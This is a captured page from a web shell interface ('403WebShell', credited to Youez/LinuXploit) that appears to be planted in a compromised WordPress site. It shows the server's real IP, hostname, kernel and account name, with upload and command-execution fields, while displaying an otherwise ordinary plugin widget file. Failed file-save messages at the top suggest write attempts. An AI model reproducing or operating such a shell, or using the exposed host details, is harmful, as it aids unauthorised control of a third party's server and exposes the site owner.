Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.217.14.208
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/charite-core/inc/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/charite-core/inc/widgets/download-widget.php
<?php
// Control core classes for avoid errors
if (class_exists('CSF')) {

  //
  // Recent widget
  //
  CSF::createWidget('download_widget', array(
    'title'       => esc_html__('Download Widget', 'charite-core'),
    'classname'   => 'widget_catagory',
    'description' => esc_html__('Add Download List', 'charite-core'),
    'fields'      => array(
      array(
        'id'      => 'title', //title
        'type'    => 'text',
        'title'   => esc_html__('Download', 'charite-core'),
        'default' => esc_html__('Recent News ', 'charite-core')
      ),
      array(
        'id'         => 'download_item',
        'type'       => 'repeater',
        'title'      => esc_html__('Add Download Item', 'charite-core'),
        'fields'     => array(
          array(
            'id'         => 'title',
            'title'      => esc_html__(' Title', 'charite-core'),
            'type'       => 'text',
            'default'    => esc_html__('Download PDF', 'charite-core'),
          ),
          array(
            'id'         => 'map_url',
            'title'      => esc_html__('Download Url', 'charite-core'),
            'type'       => 'text',
            'default'    => '#',
          ),

        ),
      )
    )
  ));

  //
  // Front-end display of widget example 1
  // Attention: This function named considering above widget base id.
  //
  if (!function_exists('download_widget')) {
    function download_widget($args, $instance)
    {

      echo $args['before_widget'];

      if (!empty($instance['title'])) {
        echo $args['before_title'] . apply_filters('widget_title', $instance['title']) . $args['after_title'];
      } ?>
      <ul class="catagory-items">
        <?php
        if (is_array($instance['download_item'])) :
          foreach ($instance['download_item'] as $item) : ?>
            <li><a href="<?php echo esc_url($item['map_url']); ?>"><?php echo esc_html($item['title']); ?></a></li>
        <?php endforeach;
        endif; ?>
      </ul>
<?php
      echo $args['after_widget'];
    }
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit